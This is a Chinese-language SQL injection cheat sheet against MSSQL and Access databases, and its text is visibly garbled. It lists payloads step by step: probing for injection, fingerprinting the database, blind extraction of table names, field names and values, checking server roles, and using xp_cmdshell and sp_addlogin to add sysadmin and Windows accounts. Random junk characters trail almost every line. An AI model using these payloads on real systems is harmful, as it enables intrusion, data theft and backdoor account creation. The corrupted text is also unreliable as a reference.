1.判断是否有注入;and 1=1 ;and 1=2 3+"z
2.初步判断是否是mssql ;and user>0 yef@V2Z+
`p9h$d
3.注入参数是字符'and [查询条件] and ''=' d}%GHvOi
+Ck<tx3h&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' GWRKiTu9
? e%Pvy<i
5.判断数据库系统 qR!SwG44+
]1rr$f9
;and (select count(*) from sysobjects)>0 mssql RUm1;MWs
Fsv%=E{
;and (select count(*) from msysobjects)>0 access MsCY5g
IX;u +B
C/ow{MxA
9f;\fe
6.猜数据库 ;and (select Count(*) from [数据库名])>0 |"DQ^)3Pi
Q u2W
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 21M@z(q*
/og2+!
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $@[6j y
?AX./LI
9.(1)猜字段的ascii值(access) #
9Z];<g
P-[6xu+]
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SfQ,uD6
F))+a&O
(2)猜字段的ascii值(mssql) ~oz8B^7i;
K[PIw}V$?:
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \MQ|(
Rer\='
10.测试权限结构(mssql) "CBe$b4
W1M<6T.{7
=:mD)oX*
)P@t,mxW/
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- |i7|QLUT
3,e^;{w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Hn0,LH$/
0Z8K +,'!
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- n
!]_o
dGf{d7 D
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- G%-[vk#]
Af1mTbf=
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2#ND(
B.6gJ2c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 2ksX6M3kY
IIUoB!`
;and 1=(select IS_MEMBER('db_owner'));-- ]wWN~G)2lV
U)=?3}s(
^k]OQc7q'
wqJ^tA!
11.添加mssql和系统的帐户 3|-)]^1O
gI6./;;x
;exec master.dbo.sp_addlogin username;-- p ElF,Y
;exec master.dbo.sp_password null,username,password;-- D`,W1Z#
d%NO_=I.
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3i=+ [
fmY=SqQG-
;exec master.dbo.xp_cmdshell 'net user username password F#eZfj~
A#RA;Dt:
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 5;oWFl
IM|VGT0
;exec master.dbo.xp_cmdshell 'net user username password /add';-- xrxORtJ<